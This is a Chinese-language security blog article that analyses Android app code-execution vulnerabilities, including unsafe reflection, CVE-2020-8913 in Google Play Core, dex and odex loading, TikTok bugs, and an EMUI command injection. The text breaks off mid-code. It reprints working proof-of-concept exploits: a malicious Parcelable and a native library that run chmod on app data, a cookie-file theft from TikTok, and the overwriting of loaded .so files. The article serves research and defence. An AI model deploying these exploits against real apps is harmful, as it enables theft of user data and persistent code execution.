原标题:【经验总结】Android APP代码执行历史漏洞与攻击面分析
网安教育
培养网络安全人才
技术交流、学习咨询
0 1
前言
为了挖掘 Android 端侧任意代码执行类型的漏洞,四处搜寻了相关的历史公开 CVE 漏洞,学习到了一些思路与方法,在此做下简要分析与总结。
0 2
错误的反射调用
此攻击思路源于国外一家知名安全公司 oversecured.com 的一篇博文:Android: arbitrary code execution via third-party package contexts。简单概括来讲,就是 A 应用通过不安全的反射过程加载了 B 应用的类,从而导致任意代码执行漏洞。
漏洞根源分析
不说废话先上示例缺陷代码:
1publicstaticvoidsearchModules( Context context) {
2for(PackageInfo info : context.getPackageManager.getInstalledPackages( 0)) {
3String packageName = info.packageName;
4if(packageName.startsWith( “com.victim.module.”)) {
5processModule(context, packageName);
6}
7//…
8}
9}
10
11publicstaticvoidprocessModule( Context context, String packageName) {
12Context appContext = context.createPackageContext(packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
13ClassLoader classLoader = appContext.getClassLoader;
14try{
15Object interface= classLoader.loadClass( “com.victim.MainInterface”).getMethod( “getInterface”).invoke( null);
16//…
17}
18}
以上代码先是获取系统所有包名列表,如果发现存在 “com.victim.module.” 开头的包名,则执行 processModule(context, packageName); 函数;而 processModule 函数通过 createPackageContext 获得特定的进程上下文后,通过反射手段查找 com.victim.MainInterface 类并调用其 getInterface 方法。
此过程存在的严重安全风险在于:攻击者可以使用以正确前缀开头的包名称创建自己的应用程序,并创建指定的类和方法,并在该方法中包含随后将在受害者应用程序的上下文中执行的代码。
事实上,应用程序不仅可能使用 Java Reflection API 调用其它应用的函数,还可能创建类实例、获取字段值等,所有这些操作也能导致任意代码执行。
漏洞防御建议
在这种情况下,一个很好的防御措施是验证当前应用程序和模块的签名。上文存在漏洞的示例代码可以重写如下:
1publicstaticvoidsearchModules(Context context){
2PackageManager packageManager = context.getPackageManager;
3for(PackageInfo info : packageManager.getInstalledPackages( 0)) {
4String packageName = info.packageName;
5if(packageName.startsWith( “com.victim.module.”)
6&& packageManager.checkSignatures(packageName, context.getPackageName) == PackageManager.SIGNATURE_MATCH) {
7processModule(context, packageName);
8}
9//…
反射调用思考
A 应用通过反射的手段调用 B 应用的函数?这似乎听起来有点好玩,来实践下看看怎么调用。
1、编写被调用方程序: com.Tr0e.attack(申请”android.permission.QUERY_ALL_PACKAGES” 权限),包含以下方法,用于查询手机上已安装的所有应用列表的数量:
1//com.Tr0e.attack.MyUtil
2publicstaticintgetPackageList(Context context){
3List<ApplicationInfo> allApps = context.getPackageManager.getInstalledApplications( 0);
4for(ApplicationInfo app : allApps) {
5Log.e(TAG, “Get: “+ app.packageName);
6}
7Log.e(TAG, “TotalNum: “+ allApps.size);
8Toast.makeText(context, “Attack: “+ allApps.size, Toast.LENGTH_SHORT).show;
9returnallApps.size;
10}
此函数的执行效果(共查询到 404 个应用):
2、编写调用方程序: com.Tr0e.hacker (不申请”android.permission.QUERY_ALL_PACKAGES” 权限),使用以下代码调用上述程序的 getPackageList 方法:
1/**
2* 反射调用其它APP进程中的公有或私有静态方法
3*/
4publicstaticvoidcall3rdAppStaticMethod( Context context) {
5String packageName = “com.Tr0e.attack”;
6try{
7Context appContext = context.createPackageContext(packageName,context.CONTEXT_INCLUDE_CODE | context.CONTEXT_IGNORE_SECURITY);
8Class<?> cls = appContext.getClassLoader.loadClass( “com.Tr0e.attack.MyUtil”); //获取目标类实例
9Method targetMethod = cls.getDeclaredMethod( “getPackageList”, Context.class); //目标静态函数,其具有一个Context类型参数
10targetMethod.setAccessible( true); //调用私有函数的时候添加改行代码即可调用,为了代码通用性,此处直接添加
11intresult = ( int) targetMethod.invoke( null, appContext); //调用目标函数,传递参数值为appContext
12Toast.makeText(context, “Hacker: “+ result, Toast.LENGTH_SHORT).show;
13Log.e(TAG, “Get: “+ result);
14} catch(Exception e) {
15e.printStackTrace;
16Toast.makeText(context, “Error…”, Toast.LENGTH_SHORT).show;
17}
18}
注意需要在 AndroidMainfest 文件添加以下标签,上述代码才能正常查询到目标应用:
1< queries>
2< packageandroid:name= “com.Tr0e.attack”/>
3</ queries>
来看下反射调用的执行效果:
可以看到,虽成功调用了目标 APP 进程的函数,但是只查到了部分包名(300个),说明无法以目标 APP 的进程上下文身份执行函数。
其实原因很显然,被调用方的 getPackageList 函数从调用方那获取了 Context 上下文对象,并以该上下文对象的身份执行包名查询的操作。实际上绝大多数具有敏感操作或实际安全影响的公有静态函数也都会接收调用方传递过来的 Context 对象。
Question:如果 getPackageList 函数不接收 Context 上下文对象,结果会如何?
3、修改被调用方程序 com.Tr0e.attack,将 getPackageList 函数放于 MainActivity 类中:
1//com.Tr0e.attack.MainActivity
2publicint getPackageList{
3List<ApplicationInfo> allApps = this.getPackageManager.getInstalledApplications( 0);
4for(ApplicationInfo app : allApps) {
5Log.e(TAG, “Get: “+ app.packageName);
6}
7Log.e(TAG, “TotalNum: “+ allApps.size);
8Toast.makeText(MainActivity. this, “Attack: “+ allApps.size, Toast.LENGTH_SHORT).show;
9returnallApps.size;
10}
4、接着调用方程序 com.Tr0e.hacker 使用以下代码进行函数调用:
1publicstaticvoidcall3rdAppStaticMethod( Context context) {
2String packageName = “com.Tr0e.attack”;
3try{
4Context appContext = context.createPackageContext(packageName,context.CONTEXT_INCLUDE_CODE | context.CONTEXT_IGNORE_SECURITY);
5Class<?> cls = appContext.getClassLoader.loadClass( “com.Tr0e.attack.MainActivity”);
6Method targetMethod = cls.getDeclaredMethod( “getPackageList”, null);
7targetMethod.setAccessible( true);
8intresult = ( int) targetMethod.invoke( null, null);
9Toast.makeText(context, “Hacker: “+ result, Toast.LENGTH_SHORT).show;
10Log.e(TAG, “Get: “+ result);
11} catch(Exception e) {
12e.printStackTrace;
13Toast.makeText(context, “Error…”, Toast.LENGTH_SHORT).show;
14}
15}
很遗憾,程序会报错:
1Caused by: java.lang.NullPointerException: Attempt to invoke virtualmethod android.content.pm.PackageManager android.content.Context.getPackageManagerona nullobjectreference
理由也很简单,此场景下你无法给 this.getPackageManager.getInstalledApplications(0); 赋予一个有效的 this(Context) 对象。
【安全总结】
作为合法的 APP,不能随意反射调用其它 APP 的类与函数,否则容易造成任意代码执行漏洞;
攻击程序 A 主动调用其它应用程序 B 的类与函数,基本上无法造成安全影响,因为 A 无法获取应用程序 B 的进程上下文,也就无法以 B 的身份执行代码,此场景下调用程序 B 的函数与程序 A 自身编写并执行相同代码无异;
反射调用其它 APP 的类与函数,有一个很实用的场景就是:AIDL 服务接口测试过程中,如果需要用到目标进程的一个内部类,不需要将其拷贝并导入到测试程序中,只需要通过反射创建实例即可。
【补充】Context 意为上下文,是一个应用程序环境的入口,Activity、Service、Application 都间接的继承自 Context。详细的信息可以参见:Android上下文Context的使用说明书。
0 3
CVE-2020-8913
此漏洞案例同样源于 oversecured.com 的公开博文:Oversecured automatically discovers persistent code execution in the Google Play Core Library。简单概括来讲,就是 A 应用通过路径穿越漏洞,往 B 应用的私有沙箱路径写入可被 B 动态加载到内存中的文件,从而导致任意代码执行漏洞。
漏洞根源分析
漏洞代码位于 Google Play 核心库中,许多应用集成该库,以 Google Chrome 应用程序为例,其注册了未受保护的广播接收器并允许第三方应用程序向其中发送特制 Intent,迫使易受攻击的应用程序将任意文件复制到 split_id 参数中指定的任意位置,形成任意文件覆盖、写入类型的漏洞。
在程序中注册未受保护的广播接收器,允许安装在同一设备上的第三方应用程序在此处广播任意数据:
1//com/google/android/play/core/splitinstall/C3748l.java
2privateC3748l(Context context, C3741e eVar) {
3super(new ae( “SplitInstallListenerRegistry”), new IntentFilter( “com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService”), context);
4……
5
6//com/google/android/play/core/listener/C3718a.java
7protectedC3718a(ae aeVar, IntentFilter intentFilter, Context context) {
8this.f22595a = aeVar;
9this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
10this.f22597c = context;
11}
12
13privatefinalvoid m15347a {
14if(( this.f22600f || ! this.f22598d.isEmpty) && this.f22599e == null) {
15this.f22599e = new C3719b( this, 0);
16this.f22597c.registerReceiver( this.f22599e, this.f22596b); // registration of unprotected broadcast receiver
17……
而程序处理接收到的消息的逻辑如下:
1publicstaticSplitInstallSessionState m15407a(Bundle bundle){
2returnnewSplitInstallSessionState(
3bundle.getInt( “session_id”),bundle.getInt( “status”),
4bundle.getInt( “error_code”),bundle.getLong( “bytes_downloaded”),
5bundle.getLong( “total_bytes_to_download”), bundle.getStringArrayList( “module_names”),
6bundle.getStringArrayList( “languages”), (PendingIntent) bundle.getParcelable( “user_confirmation_intent”),
7bundle.getParcelableArrayList( “split_file_intents”) //`split_file_intents` will be parsed
8);
9}
而接下来程序走到com/google/android/play/core/internal/ab.java文件中,它将外部传入的 split_file_intents 参数中的 URI 内容(intent.setData…)读取并拷贝到 unverified-splits 目录下的 XXX 文件(文件名由外部传入的 split_id 参数指定),由于缺乏验证,它会受到路径穿越漏洞的影响:
1for(Intent next : list) {
2String stringExtra = next.getStringExtra( “split_id”);
3File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/`
4if(!a.exists && ! this.f22543b.mo32067b(stringExtra).exists) {
5bufferedInputStream = newBufferedInputStream( newFileInputStream( this.f21840a.getContentResolver.openFileDeor(next.getData, “r”).getFileDeor)); // data of `split_file_intents` intents
6fileOutputStream = newFileOutputStream(a);
7byte[] bArr = newbyte[ 4096];
8while( true) {
9intread = bufferedInputStream.read(bArr);
10if(read <= 0) {
11break;
12}
13fileOutputStream.write(bArr, 0, read);
经过进一步的仔细研究,发现该 verified-splits 文件夹包含带有当前应用程序签名的已验证 apk,以后不再验证。当该文件夹中的文件以 config. 前缀开头时,它将自动添加到应用程序的运行时类加载器中(此处我并不清楚为什么会被自动加载……作者也没说清楚细节,有大佬如果清楚的话望赐教)。
利用这个弱点,攻击者可以创建一个实现接口等包含恶意代码的类 Parcelable,并将其实例发送到受影响的应用程序,这意味着该 createFromParcel(…) 方法将在反序列化期间在其上下文中执行,从而导致本地代码执行。
POC验证程序
为 Google Chrome 应用程序创建了概念证明(它将在易受攻击的应用程序的上下文中执行命令 chmod -R 777 /data/user/0/com.android.chrome):
1publicstaticfinalString APP = “com.android.chrome”;
2
3protectedvoidonCreate(Bundle savedInstanceState){
4super.onCreate(savedInstanceState);
5
6Intent launchIntent = getPackageManager.getLaunchIntentForPackage(APP);
7startActivity(launchIntent);
8
9newHandler.postDelayed( -> {
10Intent split = newIntent;
11//getApplicationInfo.sourceDir传递的是poc程序的apk本地安装路径
12split.setData(Uri.parse( “file://”+ getApplicationInfo.sourceDir));
13split.putExtra( “split_id”, “../verified-splits/config.test”);
14
15Bundle bundle = newBundle;
16bundle.putInt( “status”, 3);
17bundle.putParcelableArrayList( “split_file_intents”, newArrayList<Parcelable>(Arrays.asList(split)));
18
19Intent intent = newIntent( “com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService”);
20intent.setPackage(APP);
21intent.putExtra( “session_state”, bundle);
22sendBroadcast(intent);
23}, 3000);
24
25newHandler.postDelayed( -> {
26startActivity(launchIntent.putExtra( “x”, newEvilParcelable));
27}, 5000);
28}
解释下以上代码:
首先启动应用程序的主活动,使得 Google Play 核心库代码中注册了一个未受保护的接收器;
3 秒后,它向接收方发送一条命令,导致受影响的应用程序被完整添加到默认的 ClassResolver(攻击程序将自身本地 apk 文件写入受害应用的 verified-splits/config.test 文件中) ;
5 秒后,攻击应用程序发送 EvilParcelable 对象,该对象在反序列化时自动执行命令。
由于 Android 的工作方式, EvilParcelable 对象的反序列化会自动发生。当一个组件接收到一个 Intent 时,所有附加的对象都会在接收到一个值或状态(方法Intent.hasExtra(name))时被反序列化。
在攻击者的反序列化控制下执行命令的类的代码如下:
1packageoversecured.poc;
2
3importandroid.os.Parcelable;
4
5publicclassEvilParcelableimplementsParcelable{
6publicstaticfinalParcelable.Creator<EvilParcelable> CREATOR = newParcelable.Creator<EvilParcelable> {
7publicEvilParcelable createFromParcel(android.os.Parcel parcel){
8exploit;
9returnnull;
10}
11
12publicEvilParcelable[] newArray( inti) {
13exploit;
14returnnull;
15}
16
17privatevoidexploit{
18try{
19Runtime.getRuntime.exec( “chmod -R 777 /data/user/0/”+ MainActivity.APP).waitFor;
20}
21catch(Throwable th) {
22thrownewRuntimeException(th);
23}
24}
25};
26
27publicintdescribeContents{ return0; }
28publicvoidwriteToParcel(android.os.Parcel parcel, inti) {}
29}
该漏洞被谷歌评估为高度危险。这意味着许多流行的应用程序,包括谷歌浏览器,都容易受到任意代码执行的攻击。这可能会导致用户凭证和财务详细信息泄露,包括信用卡历史记录;拦截和伪造他们的浏览器历史记录、cookie 文件等。
动态加载Dex
上述案例实际上有个核心的触发点:受害应用私有目录下的 config.test 文件被默认动态加载到虚拟机中(虽然没有细节说明为什么会默认加载……),下面来学习下 Android 如何动态加载 Dex。
Android 程序是运行在 Dalvik/ART 虚拟机中的,而 Dalvik/ART 虚拟机执行 dex 格式的文件,dex 文件在打包 apk 过程会自动生成,打包 apk 之后不能修改里面的 dex 文件。但是我们只能加载外部 SD 卡的 dex 文件(实际上高版本的 Android 系统禁止该不安全的动态加载)或者从网络上边下载 dex文件,通过 DexClassLoader 或者 PathClassLoader 这两个类加载器加载 dex 文件中的类,最后通过反射 invoke 调用 dex 类中的方法。
这样做的好处是:可以让用户不用卸载、不用重新安装apk,直接通过动态加载 dex 文件,实现动态更新 apk 的目的,可运用于插件加载、热修复等场景。
Dalvik 虚拟机与 JVM 虚拟机类加载机制一样,都是在运行程序时候首先把对应的类加载到内存中,Dalvik 虚拟机不能直接用 ClassLoader 加载 dex 文件,Android 从 ClassLoader 派生出两个类,DexClassLoader 和PathClassLoader,这两个类是我们加载 dex 文件的关键(二者在高版本 API 上没什么区别了,详情参见:ClassLoader类加载器:PathClassLoader与DexClassLoader)。
不过多说废话了,直接上代码演示下动态记载 Dex 的过程吧。首先需要创建一个待加载的 Dex 文件,网上有很多花里胡哨的教程(比如Android动态加载Dex文件及DexClassLoader详解),此处用最简单粗暴的办法解决问题:
将上文案例提到的 com.Tr0e.attack 应用编译后的 apk 文件的后缀由 apk 改为 zip 后解压缩即可获得:
反编译该 classes2.dex 文件,可以看到后面我想通过动态加载的目标函数:
将上述 classes2.dex 文件 push 到待调用者 com.Tr0e.hacker 的沙箱中(此处使用基于 Android 10 的三星虚拟机):
然后通过以下代码加载 Dex 文件并调用其 getPackageList 函数:
1/**
2* 动态加载Dex文件,并通过反射调用内部函数
3*/
4publicstaticvoidloadDexClass( Context context) {
5DexClassLoader dexClassLoader = newDexClassLoader( “/data/data/com.Tr0e.hacker/cache/classes2.dex”, null, null, context.getClassLoader);
6// PathClassLoader 的调用方法只需修改一行代码,调用效果一致:
7// PathClassLoader dexClassLoader = new PathClassLoader(“/data/data/com.Tr0e.hacker/cache/classes2.dex”, null, context.getClassLoader);
8try{
9Class cls = dexClassLoader.loadClass( “com.Tr0e.attack.MyUtil”);
10Method targetMethod = cls.getDeclaredMethod( “getPackageList”, Context.class);
11targetMethod.setAccessible( true);
12intresult = ( int) targetMethod.invoke( null, context);
13Toast.makeText(context, “Hacker: “+ result, Toast.LENGTH_SHORT).show;
14Log.e(TAG, “Get: “+ result);
15} catch(Exception e) {
16e.printStackTrace;
17}
18}
成功加载 Dex 文件并调用其函数:
综上可以看到,Android系 统提供类加载器 DexClassLoader,可以在运行时动态加载执行包含的 Jar 或 Dex 文件,这样可能导致所加载的 Dex 文件被恶意应用替换或代码注入,如果在动态加载过程不先对 Dex 文件进行合法性校验,就可能导致加载的是恶意代码,形成代码执行漏洞。
上述案例你可能注意到我是加载沙箱内部的 Dex 文件,那么对于外部存储 SD 卡中的 Dex 能否加载呢?毕竟篡改受害应用的沙箱文件是比较困难的,该 SD 卡中的文件我只需要申请读写权限就搞定了……实际上此攻击场景在低版本的 Android 系统确实存在(参见:Android应用安全之外部动态加载DEX文件风险),但是 Android 4.1 之后 Android 增加了对 Jar/Dex 存放目录文件的 user_id 和动态加载 Jar/Dex 的进程的 user_id 是否一致的判断,如果不一致将抛出异常导致加载失败。本人在最新的 Android 13 系统上亲测也是加载失败……
“寄生兽”漏洞
顺便聊一下 2015 年 360 手机安全研究团队 vulpecker 披露的关于 Android 动态加载 Dex 文件的漏洞。360 团队号称 ”该漏洞一旦被攻击者利用,可以直接在用户手机中植入木马,盗取用户的短信、照片以及银行、支付宝等账号密码”。
本节以下内容源于:影响数千万APP的安卓APP“寄生兽”漏洞技术分析、被夸大的安卓漏洞“寄生兽”。
从上文已经了解到,apk 文件中包含的 classes.dex 文件相当于 app 的可执行文件。而当 app 运行后系统会对 classes.dex 进行优化,生成对应的 odex 格式的文件。odex 文件相当于 app 的可执行文件的缓存代码,一般安卓系统在第一次加载运行 apk 时会将系统生成 odex 文件存放于 /data/dalvik-cache 目录下。该目录下的文件只有 system 用户有写权限,只有在拥有 system 权限的情况下才能对 odex 文件进行写操作。
由于安卓应用的升级都需要重新安装程序,频繁的升级给用户体验和开发都带来了不便,所以市面上的 app 都开始采用插件机制,利用插件机制可以做到无缝升级和扩展功能,app 只需要引入相应的插件文件就可以做到功能添加或升级,无需再重新安装程序。
APP 插件机制的实现方式是把相关功能编写成单独的 apk 或 jar 文件,然后在程序运行时用 DexClassLoader 动态加载,进行反射调用。我们来看一下 DexClassLoder 的定义:
1publicDexClassLoader ( StringdexPath, StringoptimizedDirectory, Stringlibrary
2Path, ClassLoader parent)
3dexPath: 是要加载的jar/apk的路径
4optimizedDirectory:目标odex的路径(释放目录,可以理解为缓存目录,必须为应用私有目录,高版本是默认路径、可以不用指定)
5libraryPath: 依赖的native library(so文件)路径
6parent: 父加载器
几年前,大部分采用插件机制的 app,在载入插件前都没有对插件文件进行完整性校验,导致黑客可以通过中间人劫持的方式替换 app 的升级插件,在插件中嵌入恶意代码控制用户的 app 和手机(具体案例:利用中间人的方式劫持app升级插件的攻击案例)。
现今,大部分采用插件机制的 app 都加强了安全性,如最早使用插件开发方式的微信等 app,在下载使用插件前都会校验插件文件的签名,黑客已经无法通过中间人的方式替换插件攻击 app。
简单描述一下漏洞细节:APP 在调用 DexClassLoader 函数动态加载插件时,如果函数第二个参数指定的 odex 文件存在,则会再一个简单的 crc 弱校验通过后直接加载该 odex,而 360 团队正是发现了此过程的 crc 弱校验存在被绕过的漏洞。
下面是一个修改后的 odex 文件实例,dex_old 是修改前的 odex 文件,dex_new 是修改后的 dex 文件,两个文件的 md5 不一样,但是 crc 及 modWhen 却是一样的,这样就可以绕过 DexClassLoader 的校验。
安卓应用的代码缓存机制是程序在执行时优先加载运行缓存代码,而 Google 却只对缓存代码做了可以伪造的弱校验,这明显这是一个安全架构实现上的严重漏洞。
但是显然这个漏洞的利用有个很大的局限性:需要结合其它漏洞(比如 zip 解压缩路径穿越漏洞导致的文件覆盖),实现对沙箱数据的任意写入(才能篡改 odex 文件)。
0 4
TikTok APP漏洞
此漏洞案例同样源于 oversecured.com 的另一篇公开博文:Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app。Oversecured 再次发现了高危漏洞,这次是在 TikTok 应用程序中。该应用程序包含一个通过用户交互窃取任意文件的漏洞,以及 3 个持续执行任意代码的漏洞。
先看看 TikTok 应用中的任意文件窃取漏洞:
通过上述关键代码可以看到:应用程序在可导出的组件 LiveWallPaperPreviewActivity 中从 live_wall_paper 键中获取了一个 LiveWallPaperBean 类的对象,并将其写入静态字段。 然后,应用程序从 WallPaperDataProvider 通过 getVideoPath 获取这个静态字段的设定的值,最后创建一个 ParcelFileDeor 并将其返回给攻击者:
1publicParcelFileDeor openFile(Uri uri, String str)throwsFileNotFoundException {
2String str2 = “”;
3intmatch = this.f83988g.match(uri);
4if(match == 16) {
5str2 = C30504c.m104774a.f84038a.getVideoPath;
6} //…
7try{
8returnParcelFileDeor.open( newFile(str2), 268435456);
9……
10}
由于攻击者可以完全控制该路径,因此这提供了对任意文件的只读访问权限。因此攻击者可以获得对应用程序私有目录中存储的任何文件的访问权限,以及历史记录、私人消息和会话令牌,从而获得对用户帐户的完全访问权限。
POC 程序如下:
1String theft = “/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies”;
2
3LiveWallPaperBean bean = newLiveWallPaperBean;
4bean.height = 100;
5bean.width = 100;
6bean.id = “1337”;
7bean.source = theft;
8bean.thumbnailPath = theft;
9bean.videoPath = theft;
10
11Intent intent = newIntent;
12intent.setClassName( “com.zhiliaoapp.musically”, “com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity”);
13intent.putExtra( “live_wall_paper”, bean);
14startActivity(intent);
15
16Uri uri = Uri.parse( “content://com.zhiliaoapp.musically.wallpapercaller/video_path”);
17newHandler.postDelayed( -> {
18try{
19Log.d( “evil”, IOUtils.toString(getContentResolver.openInputStream(uri)));
20}
21catch(Throwable th) {
22thrownewRuntimeException(th);
23}
24}, 15000);
代码执行漏洞1
广播接收器 NotificationBroadcastReceiver 可导出且接受来自任何第三方应用程序的消息:
1publicvoidonReceive( Context context, Intent intent) {
2if(context != null&& intent != null) {
3//…
4Intent intent2 = (Intent) intent.getParcelableExtra( “contentIntentURI”);
5if( “notification_clicked”. equals(action)) {
6//…
7context.startActivity(intent2);
它还从 key 接收 IntentcontentIntentURI 并将其传递给 startActivity(…), 因此,攻击者获得了使用任意数据和标志值启动任意活动的能力。
正如我们在有关 访问应用程序受保护组件 的文章中所述,攻击者可以使用参数访问任意内容提供程序 android:grantUriPermissions=”true”。在 TikTok 应用程序中发现了这样的 ContentProvider 组件:
1< providerandroid:name= “android.support.v4.content.FileProvider”android:exported= “false”android:authorities= “com.zhiliaoapp.musically.fileprovider”android:grantUriPermissions= “true”>
2< meta-dataandroid:name= “android.support.FILE_PROVIDER_PATHS”android:resource= “@xml/k86”/>
3</ provider>
这使得获得对任意文件的读/写访问成为可能:
1<?xml version= “1.0”encoding= “utf-8”?>
2<paths xmlns:amazon= “http://schemas.amazon.com/apk/res/android”xmlns:android= “http://schemas.android.com/apk/res/android”xmlns:app= “http://schemas.android.com/apk/res-auto”>
3<root- pathname= “name”path= “”/>
4<external- pathname= “share_path0”path= “share/”/>
5<external- pathname= “download_path2”path= “Download/”/>
6<cache- pathname= “gif”path= “gif/”/>
7<external-files- pathname= “share_path1”path= “share/”/>
8<external-files- pathname= “install_path”path= “update/”/>
9<external-cache- pathname= “share_image_path0”path= “picture/”/>
10<external-cache- pathname= “share_image_path2”path= “head/”/>
11<external-cache- pathname= “share_image_path3”path= “feedback/”/>
12<external-cache- pathname= “share_image_path4”path= “tmpimages/”/>
13<cache- pathname= “share_image_path1”path= “picture/”/>
14<cache- pathname= “share_image_path3”path= “head/”/>
15<cache- pathname= “share_image_path4”path= “tmpimages/”/>
16</paths>
使用路径<root-path name=”name” path=””/>。攻击者可以生成一个 URI 访问属于应用程序的任意受保护文件,例如:
1content:/ /com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/etc
然后,我们在应用程序代码中发现了大量对 native libraries 的引用。最有趣的一点是,这些原生库通常甚至不会被应用程序使用。在这些情况下,他们会创建库的预定义路径(例如/data/user/0/app_package/files/lib.so)并使用 File.exists 验证其是否存在,如果存在则调用 System.load(path) 。这正是我们在 TikTok 案例中发现的情况:大量对应用程序未使用的库的引用,攻击者需要将预先创建的文件写入 TikTok 应用程序私有目录中的预定义路径。
POC 程序
攻击者需要使用以下代码片段提前创建一个本地 Native 库(例如,通过编译他们的应用程序并从中提取库):
1# include<jni.h>
2# include<string.h>
3# include<stdlib.h>
4
5JNIEXPORT jint JNI_(JavaVM* vm, void* reserved) {
6system( “chmod -R 777 /data/user/0/com.zhiliaoapp.musically/”);
7
8JNIEnv* env;
9if(vm->GetEnv( reinterpret_cast< void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
10returnJNI_ERR;
11}
12returnJNI_VERSION_1_6;
13}
当库加载到 System.load(path) 时,将执行命令(chmod -R 777 /data/user/0/com.zhiliaoapp.musically/)并将文件权限从私有更改为全局可读/可写。
攻击者应用程序中的代码:
1protectedvoidonCreate( Bundle savedInstanceState) {
2super.onCreate(savedInstanceState);
3handleIntent(getIntent);
4}
5
6protectedvoidonNewIntent( Intent intent) {
7super.onNewIntent(intent);
8handleIntent(intent);
9}
10
11privatevoidhandleIntent( Intent i) {
12if(! “evil”. equals(i.getAction)) {
13Intent next = newIntent( “evil”);
14next.setClassName(getPackageName, getClass.getCanonicalName);
15next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
16next.setData(Uri.parse( “content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so”));
17
18Intent intent = newIntent( “notification_clicked”);
19intent.setClassName( “com.zhiliaoapp.musically”, “com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver”);
20intent.putExtra( “contentIntentURI”, next);
21sendBroadcast(intent);
22}
23else{
24try{
25OutputStream o = getContentResolver.openOutputStream(i.getData);
26InputStream in= getAssets.open( “evil_lib.so”);
27IOUtils.copy( in, o);
28inp.close;
29o.close;
30}
31catch(Throwable th) {
32thrownewRuntimeException(th);
33}
34}
35}
TikTok 下次启动时,以及之后的所有场合,都会自动加载指定的库并执行其中包含的代码,导致持久化的任意代码执行。
此处 POC 代码设计 Activity 组件的 onNewIntent 函数,具体用法和 oncreate 函数的区别可以参见:Android中的onNewIntent函数。
代码执行漏洞2
上述漏洞是通过一个存在 BroadcastAnyWhere 漏洞的广播接收器,而下面这个漏洞则是一个存在 LaunchAnyWhere 漏洞的 Activity 组件导致的,缺陷代码如下:
可导出的 DetailActivity 组件通过 VENDOR_BACK_INTENT_FOR_INTENT_KEY 参数接收外部传入的 Intent 对象,并执行了 startActivity(intent)……
1protectedvoidonCreate( Bundle savedInstanceState) {
2super.onCreate(savedInstanceState);
3handle(getIntent);
4}
5
6protectedvoidonNewIntent( Intent intent) {
7super.onNewIntent(intent);
8handle(intent);
9}
10
11privatevoidhandle( Intent i) {
12if(! “evil”. equals(i.getAction)) {
13Intent next = newIntent( “evil”);
14next.setClassName(getPackageName, getClass.getCanonicalName);
15next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
16next.setData(Uri.parse( “content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/app_librarian/14.7.5.6172264464/libAkeva.so”));
17
18Intent intent = newIntent;
19intent.setClassName( “com.zhiliaoapp.musically”, “com.ss.android.ugc.aweme.detail.ui.DetailActivity”);
20intent.putExtra( “VENDOR_BACK_INTENT_FOR_INTENT_KEY”, next);
21intent.putExtra( “id”, “123”);
22startActivity(intent);
23}
24else{
25try{
26OutputStream o = getContentResolver.openOutputStream(i.getData);
27InputStream in= getAssets.open( “evil_lib.so”);
28IOUtils.copy( in, o);
29in.close;
30o.close;
31}
32catch(Throwable th) {
33thrownewRuntimeException(th);
34}
35}
36}
漏洞利用小结
以上代码执行漏洞都与两个独立的漏洞相关联:任意文件覆写和从动态加载代码。
Android 上有两种类型的 Native 库:存储在应用程序资源 ( app.apk/lib/…) 中的库和从文件动态加载的库。第一种类型将所有者和组设置为 system,因此即使是应用程序本身也只有对这些文件的只读访问权限。但是第二个通常使用 java.lang.System.load(path) 调用并且可以拥有任意所有权,这就是为什么开发人员经常选择这种方式来加载动态代码。
在上面两个案例中,Oversecured 研究人员将自己创建的 Native 库的数据写入受害应用程序的私有目录可被动态加载 so 文件中,并且即使在手机重启或应用程序重新启动后也可能被应用程序加载。所有与任意代码执行相关的漏洞都会导致应用程序及其用户彻底受到损害。攻击者可以根据其权限执行与 TikTok 应用程序相同的操作:访问存储在设备上的用户图片和视频、音频记录和 Web 浏览器下载,在应用程序启动时未经同意从用户的麦克风和摄像头录制音频和视频在使用中,并阅读联系人。所有获得的数据都可能在用户不知情的情况下在后台发送到攻击者的服务器,然后进行分析。
0 5
其它相关漏洞
以上漏洞或攻击面均来源 oversecured 公司,下面介绍两个源于国内知名安全大佬 Flanker 的博客的漏洞。
EMUI锁屏应用
先放上文章链接:A theme to system in EMUI。该文章介绍的是一个通过下载安装恶意主题远程和本地均可以发起攻击拿到 system 权限的漏洞。在第三方渠道下载安装了这样一个特定构造的主题,手机就会被拿到 system 权限。
EMUI 中的锁屏应用,也就是 keyguard 应用, 负责杂志锁屏的下载、管理工作。
1<manifest android:sharedUserId= “android.uid.system”android:versionCode= “30000”android:versionName= “3.0.5.1”coreApp= “true”package= “com.android.keyguard”
2platformBuildVersionCode= “21”platformBuildVersionName= “5.0-eng.jenkins.20150930.140728”xmlns:android= “http://schemas.android.com/apk/res/android”>
这段 Manifest 中可以看出,其以 system uid 运行,具有用户态比较高的权限。
Flanker 通过逆向 APK 发现以下存在命令注入漏洞的代码:
1public staticboolean mv ( Stringarg4, Stringarg5, Stringarg6 ) {
2Object[] obj = newObject[ 2];
3obj[ 0] = arg5.indexOf( ” “)>= 0? CommandLineUtil.cutOutString(arg5) : arg5;
4obj[ 1] = arg6.indexOf( ” “)>= 0? CommandLineUtil.cutOutString(arg6) : arg6;
5returnCommandLineUtil.run(arg4 , “mv %s %s”, obj); }
6private staticInputStream run (boolean arg6, Stringarg7, Stringarg8 , Object[] arg9) {
7InputStream v0 = null;
8String[] str2 = newString[ 3];
9if(arg9.length > 0) {
10Stringstr1 = String.format(arg8,arg9 );
11if(!TextUtils.isEmpty (((CharSequence)arg7))) {
12str2[ 0] = “/system/bin/sh”;
13str2[ 1] = “-c”;
